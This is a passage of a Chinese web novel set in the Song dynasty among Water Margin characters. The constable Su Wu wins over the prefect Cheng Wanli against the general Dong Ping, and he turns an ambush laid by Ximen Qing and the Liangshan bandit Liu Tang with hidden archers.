如此,左右才接话:“是啊,将军,校场里怎么施展都好,这里怕是不便啊……” “将军,闹出人命来,实在是不好收场了……” 却是人群之中似有议论。 “阳谷县都头苏武?是不是头前请功的公文里的那个阳谷县都头?说他一人半夜在景阳冈上猎了大虫?” “像……是他。” “就是此人吧,阳谷县,都头,苏武,不是他是哪个?” 便也有人开口:“董将军,些许小事,罢了吧,苏都头本也是公人,还立了功劳呢,同僚之间何必如此?” “正是呢,董将军,可不能当真在街面上打马厮杀啊……” 董平转头看去,衙门里的通判、推官,提刑,官员好几人,乃至孔目、押司、文书,吏员一大堆…… 苏武更会说话:“董将军若是有什么脾气,撒了也就撒了,已然教你欺辱一番了,董将军当真与我苏武有天大的仇怨不成?” 也是以退为进之法,今日之事,自在人心,得了便宜就要卖一卖乖。 “哼!”董平鼻子出气,左右两步,又看苏武:“今日之事,定不罢休!” 却是衙门口有一个声音来:“好了好了,散了去散了去,成何体统?” 众人皆转头去看,便是皆在躬身行礼。 唯有董平,却不回头去看,更不行礼,竟是……起身就走,一众军汉在后,回头行了一礼,也连忙跟去。 苏武也去看那衙门口说话之人,一身红色官袍格外显眼,头上方冠帽翅,左右轻摇。 红色官袍,就是五品,必然就是知府程万里。 苏武上前拱手:“见过相公。” 程万里年岁在四十出头,并不显得老迈,颌下胡须也多,稍稍捋了捋,打量一番苏武,只说:“嗯,你来公干?” “正是孟知县差遣。”苏武不卑不亢。 “嗯,入衙办差。”程万里留了一语,转头就去。 却是已然就要天黑,还让苏武入衙办差。 其实差事没什么,就是交付今年赋税账单,其中苏武也有不解,按理说这般差事,交了就回。 怎么故事里,武松走这趟差事,竟是月余不归? 苏武只管一人入衙门去,小厮引着,不在正堂,知府程万里在后衙书房见苏武,也有几分奇怪。 便是苏武一进来,程万里又是频频打量起来。 见了礼,程万里开口问:“你倒是一身好武艺,听说与那董平也能斗得来去,景阳冈上打虎的就是你?” “是。”苏武答道。 “落座!”程万里忽然比了一下手。 按理说,苏武这种小吏,在程万里面前,哪里会有座位?两人身份之别,一个天上一个地下。 苏武倒也落座,只是心中愈发好奇。 就听程万里又说:“当真是个勇武的汉子,既然你得罪了那董平,便也不怕与你说,那厮与本官,实在不对付……” 这话是什么意思? 苏武精准的抓到了话语流露出来的某种含义,立马说道:“那厮……本也不识得他,只是他飞扬跋扈,耀武扬威,欺人太甚,不是被逼无奈,哪里又敢得罪?” “嗯……”程万里点了点头,其实他也纳闷,他也不是第一天当官,何曾见过董平这般人? 整个大宋朝里怕也是独一号的奇葩,一个死皮赖脸想着知府嫁闺女给他的武夫,哪里还有第二号? 几番都不应他,他董平还对知府相公横眉冷对的…… 倒是一时之间把程万里也稍稍吓到了,这般无赖武夫,真是秀才遇到兵,有理说不清,还担忧他会不会一时激愤,做出点乱来的事。 便是要裁撤他,倒也麻烦,还得往枢密院里公文来去,要数出几番罪过才行,初来乍到,一时倒也寻不到这罪过来。 就听程万里问:“你近来若是无事,可借调府衙里走动一段时间?” 难怪故事里武松这趟差事,拖了那么久,原来是程万里这个读书相公好似有些缺乏安全感…… 都是董平这个神经病给害的,想来也是后来董平慢慢收敛不少,如此程万里也不多计较了。 但董平也是真记仇,寻个机会就把程万里一家老小杀个干净,留个女儿掳去了梁山山寨里。 苏武不是武松,只答:“相公容禀,衙门里诸事繁多,着实抽不开身来。” 程万里面色稍稍一变…… 却听苏武继续说:“若是相公是想防备那厮,此事,防得了一时,防不得长久。若是长久之计……” 机会好像来了,苏武正在抓住。 程万里闻言,果真眉宇一挑:“你知本府心中之事?” “卑职只是猜测一二,不作数,就是随便说说……董平仗着武艺高强,自负自傲,刚才更是无礼,想来他是那目无官长之辈,与其防备什么,不如主动出手……” “嗯?既是胡乱说的话语,不妨继续说说看……”程万里挥挥手。 “阳谷县参军云理万,正是董平麾下心腹,那云理万在阳谷县里,作奸犯科无数,纵容其胞弟团伙结社,欺凌百姓,鱼肉乡里,罪名之多,罄竹难书,云理万更是在阳谷县只手遮天,还做下买凶杀人之事……” 苏武一通说,至于云理万是不是董平的心腹,也不太重要。不过,既然云理万能在董平麾下为参将驻守一方,两人关系必然不浅。 程万里此时已然是目中带光,就问一句:“你这些话语,可都坐得实?” 第28章 爽快! 苏武立马答道:“事事当真,卑职就是那买凶杀人之事的苦主,侥幸逃得一命。也正因为卑职要管那些罄竹难书的罪行,才落得买凶杀人的下场,那买凶的经手人,随时可以拿捏在手,至于鱼肉乡里之事,百姓无不含泪哭诉……” 苏武说话间,只去看那程万里。 “孟知县……”程万里还是没什么表态,忽然就这么说了一句,还拖长了尾音。 其实就等苏武来答:“孟知县也是无奈,所以才差遣卑职往知府衙门来,只要知府相公决断,孟知县自是第一个要为民做主。” 程万里再打量了一下苏武,却说一语:“你倒是个格外聪慧之人……” “也是生死只在旦夕,被逼无奈……”苏武答着。 “你去回那孟知县,就说此事啊……”程万里顿了顿,再说:“此事当是个人证物证皆有,将来公文之上,也当是无懈可击,如此……甚好。” 苏武知道,自己当真抓到了这个机会,便是一礼:“相公放心,必然办得妥妥当当。” “聪明人好啊……”程万里点着头,又说:“聪明人,前途远大。” “多谢相公抬举!”苏武自然拱手一礼。 “好了,你去吧……只待你再送公文来。”程万里挥着手。 只等苏武退去,程万里陡然大气一松,似心中真有一块大石头落了地,至少落下了一半。 苏武出得衙门来,武松已然等候许久。 上前就问:“哥哥,那知府相公不曾怪罪吧?” 苏武看着武松,按理说,本来也有这么一个机会落在武松身上,只是他没有进到知府相公的心里去。 倒也无妨,这一辈子,便还武松一个兄弟情深,阖家团圆。 “无甚,明日大早,咱就出城回去,便也是知会一声郁保四,交代他一些事!”苏武要动手了,一颗杀人心,实在是藏不住了。 但苏武依旧冷静,这事,已然是朝着董平去的,董平那般性子,真若逼急了,只怕要狗急跳墙。 董平能怎么狗急跳墙呢? 想得一想,兴许就是立马落草投了贼寇,这般倒也好说。 若是……那董平当场带着一些心腹之人说反就反呢? 在东平府里打杀一番,还是把程万里一家杀尽,抢他女儿就走,再去落草? 董平那个性格,这也不是没可能。 还得再防备一手…… 压力有些大了。 先寻个住宿之处,离城门近的,明日出城也快,再去见一见郁保四,交代吩咐清楚。 回了住处,苏武也是神经紧绷,在董平的地盘里,不得不防备着,便是与武松两人夜里也不睡了。 虽然董平不可能起一队军汉来打杀,但差使几个人做些下作的勾当,那是有可能的。 被刺杀过一次的苏武,谨慎非常。 一夜不眠,只等天亮,只待城门刚刚一开,苏武便带着武松飞快出城而去。 路过独龙岗,两人也不多留,只管一路赶回阳谷县。 回到县衙里已是黄昏,苏武与武松二人才休息起来,便就在县衙之中休息。 一觉睡起,稍稍洗漱,孟知县差人来请。 苏武也在犹豫,要不要与孟知县和盘托出,毕竟在知府那里利用了一下他。 就听知县孟义问:“事情如何?” 苏武就答:“倒是顺利,与知府相公禀告许多,知府相公有意过问……” 话语留了几分。 孟义点点头:“嗯,不错不错,既然知府相公有意过问,那就无有本官什么事了,本官也不过问,你只管去做……” 孟义这个态度,苏武也明白,他不参与,成败也不管。 苏武却还是说:“相公容禀,得了功劳,自是相公的,若是不成,那就是我之罪也。” 孟义不置可否,只挥挥手:“去吧去吧,去忙你的去……” 苏武转头去,带着武松,立马出城,杀人放火之事,得有帮手,不能总是他与武松两个人来来去去。 帮手在哪里? 只管往景阳冈那边山林去。 山坳之下,有那茅屋星星点点,这里好田不多,旱地倒是有一些,却也养不活一家老小,倒是靠山吃山,这里猎户很多。 只待苏武寻着山路刚到村口,立马就被人瞧见,那人离得老远就奔了过来:“可是哥哥?” 苏武远远招手:“是我……” “哥哥怎么有暇入山来啊?哈哈……还教我第一个碰到了。”那人山道之上飞快而来,蜿蜒曲折的道路,当真如履平地。 近前,那汉子又是帮着牵马,又是头前带路:“哥哥竟是真来了,大喜大喜,快请快请,快往林大哥家中去坐。” 便是一进村,诸多汉子四面八方而来,还有那孩童也围得左右,都来瞧打虎的苏都头。 便是那妇人,也在门口偷瞧几眼。 如此一路到得林卯家中,林卯正从山腰旱地里下来,泥还在腿上,也是激动不已:“哥哥来得好,只盼哥哥来。” “有事来……”苏武也不弄那些虚伪的。 “有事来好,有事更好,快快快,备酒菜,听哥哥说正事。”林卯左呼右喊。 苏武倒也不急,在这村子里左右看了看,林卯也一家一家介绍来去。 整个村子都是喜气洋洋的氛围,这家搬桌,那家搬椅,这家去取酒来,那家存了腊肉…… 不得多久,几桌酒菜就备下了。 没有这么大的屋子,便在村前一个晒场上坐得满满当当,许多小孩也围在左右,这个来看看苏都头,那个也来看看苏都头,看着只管是笑…… “哥哥先请!”林卯比手作请。 苏武拿起酒杯:“兄弟们,实在是生死关头了,不得不来,先饮此杯。” 说完,苏武一饮而尽。 林卯立马招呼左右:“同饮同饮……” 只待一碗酒下肚,林卯先赶走了一些孩童,转身心急就问:“哥哥怎么就是个生死关头了?” “说来话长啊,我便慢慢来说……本是县里贼人多,奈何我就是那眼里容不得沙子的性子,这番惹了大麻烦……” 苏武一通说。 就看林卯一起身:“还说是谁呢,是那西门庆,我等诸般山货最多卖与他,哪个不被他蒙骗欺辱几番?他如今竟是连哥哥也敢下死手,该杀,着实该杀!” “哥哥,想个主意,杀了此人就是!” 苏武看得左右,还真是,仗义每多屠狗辈,这里,皆是屠狗辈。 “我是想了办法,这不来请兄弟们帮衬一二吗?”苏武答着。 “但凭哥哥吩咐就是!”林卯抬手一举。 就看左右:“哥哥吩咐就是!” 苏武起身,先倒酒一碗,对众人示意,一口而尽:“多谢诸位兄弟了。” “哥哥这说的是哪里话!” “就是就是,哥哥若是客气,便也是不拿我们当兄弟了。”林卯学了苏武头前在衙门口说过的话语。 “好,那就不客气了,吃菜吃酒!”苏武不多矫情。 只看武松见得此景,激动不已,痛饮一碗,只道:“爽快!” (兄弟们,还是要求追读,求票。顿首大拜!只愿下周能有个好的新书推荐位置,拜托诸位了!) 第29章 寻个僻静处,一了百了! 苏武吃酒不少,今日大概是要在山村里留宿一夜。 也是此时,西门庆入了参将云理万的府中。 见得云理万,西门庆兴奋不已,连拜见的礼节都省了,上前就开口:“参将,了不得,此番当真了不得……” 云理万却还镇定:“好好说来……是不是请到人了?” 西门庆连连点头,忍不住心中的激动:“请到了请到了。” “是何人?让你如此喜不自禁?”云理万眉头已然舒展。 “真正的江湖凶悍之辈,不似郁保四那般自吹自擂庸人。”西门庆还是没说。 云理万便也急:“谁?” “正是水泊梁山上的大贼,名唤赤发鬼刘唐,参军想来也知晓一二,就是这伙人劫了大名府梁中书的十万生辰纲,那刘唐就是其中之一,郓城县衙里的朱仝、雷横都是何等人物?拿他们是束手无策……便是那济州何涛带着大军去捉,也不过是人仰马翻,最后自己反而差点丧命……” 西门庆当真是把此时梁山那一伙人做的事弄得清清楚楚。 云理万一拍大腿:“好好好,这般人好,快说说你是怎么请来的刘唐?允了多少钱?” 西门庆嘿嘿一笑:“却也是巧,也不算巧,便也是早就知道那朱贵的酒店之处,正是梁山的前哨所在,想着就往那里去看看,那朱贵是生意人,倒也好说话,使了些钱,想着他能不能寻几个高手办些事去,他便说帮我去问问……谁曾想,刚好就遇到那刘唐从郓城宋押司老家回返,在那后面渡口叫船……” “嗯嗯……继续说。”云理万听得连连点头。 “那朱贵便当场引见了,刘唐只听得是杀县衙都头,二话不说就要来,只说是头前被各地公人追得紧,当杀几个周遭州县的公人立立威势,刚好如今那苏武名头大,说杀人便也要留梁山之名,就是要震慑一下周边州县,只管教他们以后遇到梁山之人不敢当面……” “人呢?” 云理万显然极其满意,这般大贼,连朝廷都不放在眼中,便是放眼整个大宋,那也是数一数二的强寇,就算苏武有再大的能耐,与这般大贼来比,自也是差得远,不可比。 只要这般人愿出手,此事必成。 “在城外,那刘唐长相实在过于扎眼,咱阳谷县也还四处张贴着他们的海捕公文,怕是入城露脸容易打草惊蛇,我急着寻参军来,也是想让参军想想办法,谋划一二,看看怎么做更好。” “他带多少人来?”云理万皱眉在想。 “也未带多,就带了十几个随行剽悍之辈,只要他刘唐来了,人多人少也是打打下手而已。” “人倒是不多……”云理万点着头。 西门庆急着又问:“参军,要不,半夜寻个心腹,把城门开一条缝隙,把他们放进来?” 云理万好生思虑一番,摇摇头:“此法怕是不妥,放进来容易,若是在城内杀人,那苏武也有一身武艺,只怕要有一番厮斗,到时候一阵喧闹,只待衙差上了街,百姓出门看,人多眼杂,他们出城反而不易了,若是一个不慎,岂不牵连你我?” 西门庆点点头:“倒也是这个道理,参军想得周全,那当如何是好呢?” “得想个法子,寻个时间,寻个地点,把那苏武引出城外去,当杀就埋,生不见人死不见尸,便教查都无从去查,只管让州县里去寻那梁山贼寇就是了,如此,才是稳妥之策。” 云理万还真不是简单人物,行事格外谨小慎微。 “这可有点难办……”西门庆皱眉不止。 也是以往实在没把苏武放在眼中,也就导致与苏武实在没什么交集,当真是两个圈子里的人,便是想寻个人去骗,也没有这个人选。 两人一时陷入了为难之中…… 西门庆无奈之下,甚至说道:“要不……实在无法,就在城内动手吧?只要能杀了他,总比让他活着好。” 云理万依旧摇头:“贼寇就是贼寇,你我即便做了此事,也万万不能与贼寇牵扯上丝毫关系,更何况还是朝廷里立了名的大贼,你道那蔡太师与梁中书是何许人也?若是一旦出事,到时候你我死都不知道是怎么死的……” 西门庆连连点头:“那是那是……” 两人又是沉思,忽然西门庆脑中灵光一闪,说道:“参军,我有一计。” “还等什么,说就是……” 西门庆连忙再说:“何人能引得走苏武?苏武看到何人便会去追?想来想去……” “郁保四!”云理万直接答出来了,便是喜上眉梢,又道:“对对对,那苏武只要看到郁保四,必然起身就要去追,好计好计!” “便是如此,只管叫郁保四远远让苏武看一眼,苏武必然认得出,他自恃武艺,看轻郁保四,岂能不拔腿去追?让郁保四打马出城就走,自就把苏武引到了城外……” 西门庆这一辈子,就是歪主意极多。 “就依此法……”云理万连连点头。 “那我明日大早就去寻郁保四。”西门庆也是喜上眉梢。 “倒也巧了,郁保四今日倒是来了一封信,说他要往大名府去走马,路过此地,还想从本将这里讨一些钱财,说是抚恤他那几个死去的兄弟,本将正想着怎么回绝他,如此,倒也不必回绝了,多给他些,教他再办此差。” 云理万哈哈笑着,还捋几下胡须。 “如此正好,如此正好!”西门庆双手一拍,左右一看,只说:“天助我也!此番定教那苏武死无葬身之地,咱们终于可得个安生了……” 云理万从座位起身,一把拉住西门庆的手,交代叮嘱:“事都付与你,可定要办得妥妥当当,万万不要再出什么差池,至于钱,还是要给,多给就是,你看着办……” “我办事,参军放心就是。”西门庆连连点头,却是猛然又问:“诶?那苏武可在城中?” “头前往府衙去了公差,倒是回了,却又出了城,倒也不知往哪去了,不过他差事在身,定又要回的……” 云理万对苏武的行踪,显然真有关注。 “那就好那就好,那此事就定在明日傍晚时分,只待引得苏武追出城去三五里,寻个僻静处,一了百了!” 西门庆心中已然在盘算具体细节,盘算得咬牙切齿,却也盘算的心中越发兴奋。 第30章 哥哥让杀谁来,就杀谁! 上午半晌,苏武入城里来,自是先去衙门里,该点卯点卯,该见知县见知县。 却见衙门里许多人看他,眼神都怪怪的…… 连李成那小子也有几分怪模怪样,只待点卯结束,安排了众衙差的差事,苏武便问李成:“怎么回事?” 李成倒是不藏着掖着,只说:“哥哥不知呢?” “我知道什么?”苏武一头雾水。 “唉……哥哥,你可当真是做了什么……事吗?”李成又问。 “说,什么事?”苏武直接呵问。 “哥哥,街面都传着你,说你……说你与……” “说!” “唉!说哥哥与那布庄杨家的遗孀孟玉楼,不清不楚的……这事都在阳谷县里传遍了。”李成还是没有说直白。 苏武反应过来了,看来是街面起谣言了,这谣言肯定不是说什么不清不楚,定是有鼻子有眼…… 稍稍去想,也知道这谣言肯定难听至极,下作非常。 这他妈是什么事?苏武可是一口茶都没喝人家的。 不用想了,这事,必是西门大官人的锅了。 “哥哥,有没有这事啊?”李成还问呢。 苏武还没来得及说,一旁武松已然开口:“没有!当真胡说八道!拢共见过一面,之前都不识得,这些天出多少事?哥哥怎么可能还有闲暇去做那些?” 李成连连点头:“也是也是,我就知道,定然是有人背后要坏哥哥名声。” 这事倒是弄尴尬了,这阳谷县里,有点脑子的,应该大多不会信,毕竟苏武与那孟玉楼以往八竿子打不着。 但也架不住那些粗鄙妇人一张嘴到处说…… 西门庆这个狗东西,真狗! 苏武一个男人,倒也无妨,人家孟玉楼一个女子带着十岁的小叔子,本就过得艰难,如何是好? 再一想,西门庆这招也算是釜底抽薪,是在绝孟玉楼的路,更是间接在逼着孟玉楼往西门家嫁去…… 难怪西门庆这家伙能靠着女人崛起,慢慢混成首富人物。 “你去与他们说,衙门里可不要瞎传了……”苏武如此吩咐。 “好,我这就去说,哥哥可没这个空暇去做这些事呢……”李成转身就去。 有些郁闷了,苏武出了衙门口,左右看了看,倒也无奈,往孟玉楼家去解释或者安慰什么吧…… 反而有些不妥。 苏武便就停住了脚步,却见街面有个半大小伙提着一篮梨子,不断偷看自己,好似在这门口等候许久了一样。 苏武抬手一招:“过来!” 那小伙当真不跑开,而是过来了,不等苏武说话,就从篮子里拿出了一封书信,只说:“苏都头,是有人让小人在这里等都头,给都头送一封信。” 苏武接过信,又看了看这个小伙,问了一语:“你是不是叫做郓哥儿?” “啊?都头竟是知道小人的名字呢?”小伙高兴不已。 苏武怀中掏出了几个钱:“给……” 郓哥儿连连摆手:“已然给过了。” “拿着就是……”苏武直接放进篮子里。 “拜谢都头,拜谢都头……”小伙只管连连躬身。 “行了,你去吧,多在这附近走动,下次我有跑腿的差事,也寻你办。”苏武对这郓哥儿观感不算差。 郓哥儿自然就去了。 苏武看了看信,信封上也没字,只管在打开看。 没头没尾,就一行字:官人勿忧,妾身心知,小人作祟,清者自清。 不用想了,孟玉楼差人送来的,本还想着是不是安慰一下孟玉楼,没想到孟玉楼更识大体,先来安慰他苏武了。 这女子…… 还真有几分大气,心志也是坚韧,这般流言蜚语之下,还能稳住心神。 挺好! 苏武嘿嘿一笑,把信装好,往怀中一塞,倒也释然了,这事先不管,今夜有大事。 武松跟出门来,只与苏武对了一个眼神,便看武松就出城去了。 苏武也回衙门里坐定,等候着。 计划早已定好,倒也简单,今天让郁保四找云理万要些抚恤金,云理万必然要回复,他不敢假旁人之手,只会让西门庆跑一趟。 如此,西门庆出城去,自就是瓮中之鳖了。 本还想着要慢慢薅西门庆的羊毛,如今苏武心态大变,先下手为强,否则夜长梦多。 既然是这个时代,许多事,就要做得猛烈一些,薅羊毛什么的好似没什么必要,反而动手去抢也没什么不可。 抢,才是这个时代应该有的手段,只看抢得高明还是不高明。 只待等得武松再回来,寻着苏武就说:“哥哥,事情有变。” “怎么变?”苏武疑问。 武松左右看了看无人,轻声说道:“那云理万与西门庆,也让郁保四今夜引你出城去,想来必是今夜也有了埋伏。” “这倒是巧了……”苏武微微皱眉。 “倒也不知郁保四所言值不值得信……”武松有另外的怀疑。 苏武起身,左右走得两步,眉宇一展,面露凶光,看了看武松,说道:“今夜搏命之时!” “怕他个甚鸟,便杀他个天昏地暗。”武松更是两眼圆瞪,杀意不止。 “那你就去回那郁保四,就说今夜让他按照云理万与西门庆的差遣来做就是……”苏武心中不慌,因为他已然后手准备得十足。 这个时代,就他妈是用命搏前程! 云理万与西门庆,不过是小喽啰之辈,若是这关都过不去,那还混什么混?还怎么面对那些什么梁山大贼? 还怎么可能崛起? 武松已然起身:“哥哥,我去回他话语。” 说完,武松起身飞奔,脚步快得惊人。 苏武走出班房,左右一看,喊:“小成!” 李成立马上前来:“哥哥,何事?” “今夜,把硬弩带在身边,多带箭矢。”苏武吩咐一语。 “哦,好!”李成只管点头听话。 苏武还问一语:“杀人,你敢不敢?” 李成只管拍胸脯:“敢!哥哥让杀谁来,就杀谁!” 旁边还有几个衙差来去,只当自家都头说笑呢,用话语试探李成…… “好!”苏武点点头,自己往衙门库房里去,得寻一件趁手的长刀,该打磨也要打磨。 (兄弟们,开始真正爬新书榜了,在历史新书榜已然第二,在总榜五十一名,求追读求票,再拜,大拜!) 第31章 贼人休走! 苏武从库房里选出一柄长刀来,正在衙门院中打磨。 衙门里忙忙碌碌,来来去去的人,都看都头在磨刀,倒也未去多想。 唯有董坚多想了些,近前蹲下,问:“都头今日……” 苏武摆摆手:“没事,你忙你的,你便去看看那赌徒成三,看紧他,最近一定不要让他出去,他还有大用。” “都头放心,那厮惧怕得紧,哪里敢出衙门去……”董坚点着头,却是又问:“都头今日……” “无事无事……”苏武还是如此说,手中的刀磨得咔咔作响。 董坚好似有些气馁,起身要走,却又还是问了一语:“都头若是今日有什么事,可一定带着我……” “嗯?”苏武抬头看了一眼,问了一句:“既然磨刀,就是杀人的事……” “我也去!”董坚立马答道。 苏武心中其实感动,想一想今夜之事,已然准备得极好,再看董坚,点了头:“行,你也备刀去,傍晚跟着我……” 董坚立马扫去气馁,起身往库房里去挑,虽然身上已然挎了腰刀,但这衙门里的制式腰刀着实是个样子货。 还是库房里的家伙事,多少有一些堪用,挑一柄出来之后,董坚便也取来磨刀石坐在苏武身边,也吭哧吭哧磨了起来。 苏武有话说:“你是良家子,衙门里的事,你都做得极好,还能识字,有些事便也未想着你,也不必你,你莫多想。” 董坚却道:“我心中只觉得都头与以往真不一样了,都头兴许在做大事,我只想着……” 董坚顿了顿…… “想什么?”苏武转头来问。 “我只想着,不论如何,也不是要求什么出人头地,只愿随着都头,我心中信得过都头,就怕都头疏远了我……” 董坚显然还真组织了一下语言。 苏武认真点了点头:“行!就去见识这一遭!” 倒也不仅是董坚见识,苏武自己也是见识,连带武松,大家都一起见识一下,从此便是不一样了。 只待刀磨好了,往那破烂刀鞘里一插,把刀别在腰间。 苏武出门了,左边李成,右边董坚。 与往常一样,就在街面巡视一番,只看得那郓哥儿又在衙门口走动,苏武抬手一招。 郓哥儿连忙上前来躬身:“见过都头。” “你带个话去,就说……你也勿忧,此事有我,自当清白。” 苏武没想着写什么回信,就带话去也足够。 说着,又掏出几个钱来,放进那装满梨子的篮子里。 “都头放心,我这就去。”郓哥儿一礼之后,转身飞奔,生怕都头看不到自己奔得有多快。 李成也问:“都头,这般事,县里是沸沸扬扬,如何能清白得了?” 董坚也点头:“是啊,最怕的就是众口铄金,无以解释得清。” 苏武大手一挥:“自然解释得清。” 就看武松从城外奔回来了,倒是什么话语也不说,只与苏武点了点头。 苏武再吩咐:“二郎,你先出城去……” 武松左右一看,看的是李成与董坚二人,说道:“我若不在哥哥身边,只怕……” “放心,城外才是重中之重,我这有三人,无妨。”苏武说道。 “好吧,哥哥自己小心。”武松点了点头,又与李成、董坚二人说道:“便是你们都死了,哥哥也不能伤了分毫。” 这话说的…… 苏武便是抬手去赶:“你自快走就是。” 李成却还真点头应道:“嗯,我知晓了呢。” 董坚在后,咬牙一语:“此番我自不是孬人!” 如此,武松起身快步而去,自也知道隐藏行踪,先回家去磨蹭几下,又出门往一处茶楼坐坐,左右观察几番,才从茶楼茅房里翻墙而走。 苏武继续巡视,只看天色,天色慢慢在黯。 走到东城门口,便也是阳谷县最热闹的城门,稍稍站定…… 就看那城门之处,有一个巨大汉子鹤立鸡群,两米多身高,三百来斤的体重,实在是想看不到他都难。 苏武抬手一指,一声大喊:“贼人休走!” 那巨大汉子转身就跑…… 苏武连忙去追,身后董坚李成,即便不知道怎么回事,也飞身跟上。 “莫要放走贼人!”苏武一边喊一边跑。 却是许多人朝他看来,正是要关门城门的时候,急着出城的人极多,城门处一片拥挤。 又听苏武喊:“城门处的军汉,莫要放走了贼人。” 倒也不知这些军汉日常就是懈怠,还是这些军汉有意为之,都是一脸茫然…… 就看那巨汉翻身上了一匹马,飞奔而出,挤得左右东倒西歪,说话间就出城而去,倒是那马匹也不快,主要是那贼人过于高大健硕,过于沉重。 苏武已然奔到城门,还要骂一句:“你们这些饭桶!” 骂完,脚步也不停,直直追出城去! 只待苏武追出城,挨了骂的众多军汉还是一脸茫然。 有人问一语:“牌头,那是苏都头追贼人,咱追是不追啊?” 就听那牌头官说:“追什么追?县衙的事,要你多管?没有军令,如何能擅离职守?” “啊?” “到了时辰,不关城门才是大罪。”那牌头官又说。 众人便皆是不言了,只看着那苏都头带着两个衙差是越追越远。 那牌头官左右看了看,又说:“赶紧的,把要出城的人都轰出去,关门关门,早早歇息着。” 就看城门口一片吵杂热闹,拥挤更甚,那些军汉只管呼喊辱骂驱赶…… 那牌头官已然先下了值,往云理万府中去。 只听云理万仔细又问:“当真追出城去了?” “当真去了,城门都关了。”牌头官答着。 “几个人?”云理万又问。 “三个。”牌头官再答。 云理万忽然坐直,重重舒了一口气去,然后点着头:“做得好,明年升你的官职。” “多谢参军抬举提携!” “今日之事,与谁都不能说。”云理万再叮嘱一语。 “小人省得!” 云理万忽然又问:“那西门庆可是早早出城去了?” “嗯,午后就出城去了。” “好好好,来人,取五贯钱来。”云理万好似彻底放心了,心情大好。 “为参军做点小事,万万不敢讨赏。” “行了,你拿着去就是,便也是你,旁人本将还信任不过。”云理万就是心情好。 第32章 西门大官人? 前头载着三百多斤的马只管跑,后头苏武只管追。 一边追一边喊:“贼人哪里走!” 身后还有李成,只问:“哥哥,要不要射他一箭,定将他射落马来。” 苏武连忙说:“别射。” “啊?”李成还愣了愣。 “只管追去,这厮要活的!”苏武说道。 “哦。”李成点着头。 只看追得没多久,前头马匹忽然一转,去了一条小路。 再追,前头一处小林子掩映的弯道,只待转过弯去。 那匹马已然不跑了,被系在路边树旁,那巨大的汉子也站在树旁。 苏武也脚步一止。 就听得有人说话:“苏都头,别来无恙啊?” 这是什么开场白? 就看西门庆就从头前树后现了身,一脸的笑,慢慢走到路中央,折扇一开,胸前轻扫几下,再看苏武。 董坚反应极快:“不好,都头快走,咱兴许是中计了!” 苏武却不惊,只问:“西门大官人这是摆的什么阵势?” 大官人腰间也有刀,只往前走几步:“你不是武艺高强吗?你不是非要与我过不去吗?明年今日,就是你苏武的祭日!” 只看得那董坚一步走到苏武面前挡住,拔刀就出,只说:“都头先走!” 就看头前已然出现六七个人挡住去路,身后也传来声音:“今天,谁也走不了!” 一旁李成,前后去看,已然是踏弩、拉弓、上弦、抽箭,话语狠厉:“跟你们这些狗贼拼了!” 苏武也转头,便是一眼看去吧……不认识,没见过,但也眼熟。 身后这领头之人,生得个五大三粗,一头红发不说,脸颊边还有一块巨大的红色胎记,一柄大朴刀立在身侧,凶恶非常。 只是很意外,梁山是什么贼?那是朝廷点了名的大贼,山东河北各地,哪个州县不是海捕公文贴得满大街都是? 那郓城押司宋江只因为一封与梁山的书信败露,就要杀人灭口远走他乡。 西门庆与云理万,这种事也敢碰? 人还真让他请来了! 就听西门庆说道:“苏武,倒也不怕与你说,当面乃是水泊梁山赤发鬼,你乃县衙公人,不会没听过吧?” “倒是如雷贯耳!”苏武笑着答道。 刘唐见苏武还笑,只道:“苏武是吧?近来名声不小,只怪你爹妈没生个好八字,正要拿你人头立我梁山威名,莫要见怪!” 苏武转身去看刘唐,就问董坚:“这厮值得多少贯?能不能升个官?” 董坚舔了舔嘴唇:“领头的晁盖三千贯,这厮一千八,定是大功。” “值钱!”苏武点了点头,还真他妈值钱,朝廷就是朝廷,不比州府。 西门庆倒是急了:“刘兄,这厮竟是还敢小觑与你。” 刘唐果然就怒,闲话没有了,朴刀一横,人就迈步:“死到临头不自知!爷爷教你今日身首异处!” 就看苏武刀也在拔,一旁李成抬手就射。 只听弓弦一响,刘唐面色就惊,箭矢来得是又准又快,只容得他身形也滚,朴刀也挥…… 便是体面全无,却是也堪堪躲过。 李成连忙再去踏弩拉弦,刘唐已然站起:“竟还敢暗箭伤人,爷爷杀得你全家老小!” 那弩装填太慢,那刘唐动作极快,几步已到,挥刀就砍。 董坚咬着牙关往前去迎,便是一刀下来,董坚只去抵挡,已然手刀脱去,身形不稳。 乍一看,刘唐当真武艺高强,看得西门庆大声叫好:“刘兄好武艺。” 刘唐朴刀再起,便劈苏武。 就看苏武长刀也起,噹的一声,苏武脚步不虚,身形不摇,稳稳接住,倒也没什么招式,就是力大与眼疾手快。 那刘唐被挡得这一刀,身形也顿,却是知道,这个打虎之辈,不是泛泛。 就看李成又要搭箭。 西门庆稍稍一急,转头去喊:“郁保四,你还等什么呢?还不快上?” 嗯? 郁保四呢? 管不得那么多了,西门庆连忙左右挥手:“都上都上,一起上!” 十几汉子,前后围来。 就在此刻! 忽然,就听得周遭附近,有一种奇怪的嗡嗡之声此起彼伏…… 西门庆稍有错愕,抬头去左右看,他是真的一时不知这是什么声音。 那刘唐却是当真见识过场面,反应极快,刀也不劈了,只喊:“快躲快躲。” 就听得空中一片“咻咻咻咻”的声音…… 西门庆终于看清了,竟是箭矢,密密麻麻不少,若只是一声弓弦嗡响,他倒是能分辨,只是这般…… 这是怎么回事? 哪里来得这么多箭矢? 西门庆连忙抱头往树后去躲。 已然电石火花之间,便是惨叫连连,已然有好几人被箭矢扎得通透,在地上翻滚不止! 局势陡然大变,西门庆自是还没有闹懂怎么回事。 刘唐已然先骂:“西门庆,直娘贼,竟是教你骗了,你寻官兵来拿我!” 西门庆一时愣神:“刘兄这是哪里话?” “西门庆,就算爷爷我被官兵拿去了,来日我家哥哥定也会杀你全家!”刘唐又是大喊,却是躲在树后只看左右空中。 因为那此起彼伏的嗡嗡之声又来。 刘唐只能左右去看,绕着树干来藏。 却是西门庆陡然发现那苏武站定当场,动也不动……却是箭矢并不往那中间去…… “苏武,是你!”西门庆回过神来。 只听苏武答:“是我又如何?” 苏武倒是有些失望,本以为是一桌大席,备得辛辛苦苦,原来上的还是几碟小菜,场面着实不大,西门庆终究是小喽啰之辈,起不得什么真正的大场面。 倒也是好事。 就看又有几人满地打滚哀嚎,更有人喊:“刘头领,这可如何是好啊?” 刘唐也是一时慌了神,还左右去看,便是不知往哪边突围是好,只因那箭矢哪个方向都来。 就听得林子里有人呼喊:“哥哥,来迟了吗?躲得远了些,怕打草惊蛇了。” “来得正好!”苏武高声去答。 